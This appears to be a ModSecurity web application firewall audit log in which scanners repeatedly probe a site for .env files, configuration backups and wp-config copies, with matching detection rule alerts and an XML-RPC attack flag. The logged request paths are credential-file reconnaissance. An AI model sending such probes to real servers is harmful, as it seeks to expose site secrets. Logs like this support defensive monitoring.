Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".php.bak"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/private/config.php.bak"] [unique_id "aE99CUN_xpBAtP8SIP07kwAAAAo"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750039817120610 662826 (- - -) Stopwatch2: 1750039817120610 662826; combined=1842, p1=341, p2=1397, p3=0, p4=0, p5=104, sr=99, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --7e40942c-Z-- --b8b5d45d-A-- [16/Jun/2025:07:40:19.958700 +0530] aE99C6vO5IZc5ZzLe_3pwwAAAAA 185.177.72.210 33638 127.0.0.1 7081 --b8b5d45d-B-- GET /:8443/.env.example HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --b8b5d45d-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=1c6b4f51f5c12c02969f4fe3e5da452c1750039819; expires=Mon, 16 Jun 2025 03:10:19 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --b8b5d45d-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8443/.env.example"] [unique_id "aE99C6vO5IZc5ZzLe_3pwwAAAAA"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750039819294874 663916 (- - -) Stopwatch2: 1750039819294874 663916; combined=1896, p1=329, p2=1448, p3=0, p4=0, p5=118, sr=80, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --b8b5d45d-Z-- --1db1bd44-A-- [16/Jun/2025:07:40:31.509631 +0530] aE99FroFnONBt7jRcByZwQAAAA4 185.177.72.210 51060 127.0.0.1 7081 --1db1bd44-B-- GET /:8181/.env.5 HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --1db1bd44-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=05552c39056f0b4815909c563f1f71a41750039831; expires=Mon, 16 Jun 2025 03:10:31 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --1db1bd44-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8181/.env.5"] [unique_id "aE99FroFnONBt7jRcByZwQAAAA4"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750039830838827 670867 (- - -) Stopwatch2: 1750039830838827 670867; combined=2135, p1=378, p2=1636, p3=0, p4=0, p5=120, sr=93, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --1db1bd44-Z-- --ec28624c-A-- [16/Jun/2025:07:40:35.206562 +0530] aE99GkN_xpBAtP8SIP07oAAAAAo 128.199.112.101 51144 127.0.0.1 7081 --ec28624c-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 490 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --ec28624c-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --ec28624c-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE99GkN_xpBAtP8SIP07oAAAAAo"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750039834247702 958926 (- - -) Stopwatch2: 1750039834247702 958926; combined=1965, p1=316, p2=1235, p3=45, p4=65, p5=186, sr=86, sw=118, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --ec28624c-Z-- --10725e7d-A-- [16/Jun/2025:07:40:43.026664 +0530] aE99IkN_xpBAtP8SIP07owAAAAo 185.177.72.210 45526 127.0.0.1 7081 --10725e7d-B-- GET /wp-content/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --10725e7d-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=2fda3be80f826dca8b9d74b776e00fb11750039842; expires=Mon, 16 Jun 2025 03:10:42 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --10725e7d-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/wp-content/.env"] [unique_id "aE99IkN_xpBAtP8SIP07owAAAAo"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750039842368362 658366 (- - -) Stopwatch2: 1750039842368362 658366; combined=1800, p1=339, p2=1360, p3=0, p4=0, p5=100, sr=81, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --10725e7d-Z-- --4640e537-A-- [16/Jun/2025:07:40:46.038069 +0530] aE99JYkQyF8-ounHsxsK7wAAAA8 185.177.72.210 45640 127.0.0.1 7081 --4640e537-B-- GET /gruntfile.js HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --4640e537-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=641c5b9bd7884ddaf07a1f2a4dadcdab1750039845; expires=Mon, 16 Jun 2025 03:10:45 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --4640e537-H-- Message: Warning. Matched phrase "/gruntfile.js" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/gruntfile.js" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/gruntfile.js"] [unique_id "aE99JYkQyF8-ounHsxsK7wAAAA8"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750039845393903 644241 (- - -) Stopwatch2: 1750039845393903 644241; combined=1940, p1=485, p2=1362, p3=0, p4=0, p5=92, sr=109, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --4640e537-Z-- --eb43eb74-A-- [16/Jun/2025:07:40:47.161225 +0530] aE99JgS4XDlCv3KXioQKFgAAAAY 185.177.72.210 45684 127.0.0.1 7081 --eb43eb74-B-- GET /:8443/.env.dev HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --eb43eb74-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=8c85f48b42422d23ef97104ca0cbdf241750039847; expires=Mon, 16 Jun 2025 03:10:47 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --eb43eb74-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8443/.env.dev"] [unique_id "aE99JgS4XDlCv3KXioQKFgAAAAY"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750039846496484 664804 (- - -) Stopwatch2: 1750039846496484 664804; combined=1765, p1=371, p2=1307, p3=0, p4=0, p5=87, sr=89, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --eb43eb74-Z-- --cfaa8f03-A-- [16/Jun/2025:07:40:48.129356 +0530] aE99J6vO5IZc5ZzLe_3p0wAAAAA 185.177.72.210 45724 127.0.0.1 7081 --cfaa8f03-B-- GET /:9000/audio/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --cfaa8f03-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=953e155d3423246191df714ad08c34fa1750039847; expires=Mon, 16 Jun 2025 03:10:47 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --cfaa8f03-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:9000/audio/.env"] [unique_id "aE99J6vO5IZc5ZzLe_3p0wAAAAA"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750039847489661 639798 (- - -) Stopwatch2: 1750039847489661 639798; combined=1965, p1=386, p2=1490, p3=0, p4=0, p5=88, sr=104, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --cfaa8f03-Z-- --a06d8752-A-- [16/Jun/2025:07:40:55.203042 +0530] aE99LkN_xpBAtP8SIP07qAAAAAo 185.177.72.210 57656 127.0.0.1 7081 --a06d8752-B-- GET /private/.env.production HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --a06d8752-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=7d761766db22a9be2c9e9e77fe0f45091750039855; expires=Mon, 16 Jun 2025 03:10:55 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --a06d8752-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/private/.env.production"] [unique_id "aE99LkN_xpBAtP8SIP07qAAAAAo"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750039854535618 667500 (- - -) Stopwatch2: 1750039854535618 667500; combined=2282, p1=500, p2=1685, p3=0, p4=0, p5=97, sr=132, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --a06d8752-Z-- --e4848007-A-- [16/Jun/2025:07:40:57.253111 +0530] aE99MAD0DwMUVKUIct3aJgAAAAI 185.177.72.210 57734 127.0.0.1 7081 --e4848007-B-- GET /.env.dist HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --e4848007-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=853b435962c770b88aa6b1a6ab93ac231750039857; expires=Mon, 16 Jun 2025 03:10:57 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --e4848007-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/.env.dist"] [unique_id "aE99MAD0DwMUVKUIct3aJgAAAAI"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750039856604833 648342 (- - -) Stopwatch2: 1750039856604833 648342; combined=1897, p1=359, p2=1440, p3=0, p4=0, p5=97, sr=97, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --e4848007-Z-- --620e4167-A-- [16/Jun/2025:07:41:04.420498 +0530] aE99N-Mjvy_LHXlMeRAXoQAAAAU 185.177.72.210 58350 127.0.0.1 7081 --620e4167-B-- GET /:5000/administrateur/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --620e4167-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=f4a2a7e059f8840668efa2d3481ccbb81750039864; expires=Mon, 16 Jun 2025 03:11:04 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --620e4167-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:5000/administrateur/.env"] [unique_id "aE99N-Mjvy_LHXlMeRAXoQAAAAU"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750039863753322 667259 (- - -) Stopwatch2: 1750039863753322 667259; combined=2364, p1=492, p2=1730, p3=0, p4=0, p5=141, sr=120, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --620e4167-Z-- --ab2e7c63-A-- [16/Jun/2025:07:41:06.443023 +0530] aE99OboFnONBt7jRcByZzwAAAA4 185.177.72.210 58392 127.0.0.1 7081 --ab2e7c63-B-- GET /wp-config.old.php HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --ab2e7c63-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=b6fdf3c1f713924b100cb0fb3610f3e81750039866; expires=Mon, 16 Jun 2025 03:11:06 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --ab2e7c63-H-- Message: Warning. Matched phrase "wp-config.old" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "wp-config.old" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/wp-config.old.php"] [unique_id "aE99OboFnONBt7jRcByZzwAAAA4"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750039865776256 666839 (- - -) Stopwatch2: 1750039865776256 666839; combined=2267, p1=392, p2=1760, p3=0, p4=0, p5=115, sr=98, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --ab2e7c63-Z-- --1db1340a-A-- [16/Jun/2025:07:41:11.600006 +0530] aE99PuMjvy_LHXlMeRAXpQAAAAU 185.177.72.210 45026 127.0.0.1 7081 --1db1340a-B-- GET /fileserver/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --1db1340a-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=d9b937ae63d3fce75b72aa0c724e4f311750039871; expires=Mon, 16 Jun 2025 03:11:11 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --1db1340a-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/fileserver/.env"] [unique_id "aE99PuMjvy_LHXlMeRAXpQAAAAU"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750039870945421 654660 (- - -) Stopwatch2: 1750039870945421 654660; combined=1874, p1=335, p2=1435, p3=0, p4=0, p5=103, sr=81, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --1db1340a-Z-- --e28d885d-A-- [16/Jun/2025:07:41:24.086352 +0530] aE99S2CnKbldJKSM7awdIAAAAAc 185.177.72.210 46362 127.0.0.1 7081 --e28d885d-B-- GET /:5601/admin/.env.staging HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --e28d885d-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=a59063148e50d00b26990b2f3616e43b1750039883; expires=Mon, 16 Jun 2025 03:11:23 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --e28d885d-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:5601/admin/.env.staging"] [unique_id "aE99S2CnKbldJKSM7awdIAAAAAc"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750039883308018 778416 (- - -) Stopwatch2: 1750039883308018 778416; combined=2586, p1=584, p2=1893, p3=0, p4=0, p5=108, sr=179, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --e28d885d-Z-- --c0fe5551-A-- [16/Jun/2025:07:41:28.127232 +0530] aE99T4kQyF8-ounHsxsLBgAAAA8 185.177.72.210 46656 127.0.0.1 7081 --c0fe5551-B-- GET /httpd.conf.backup HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip 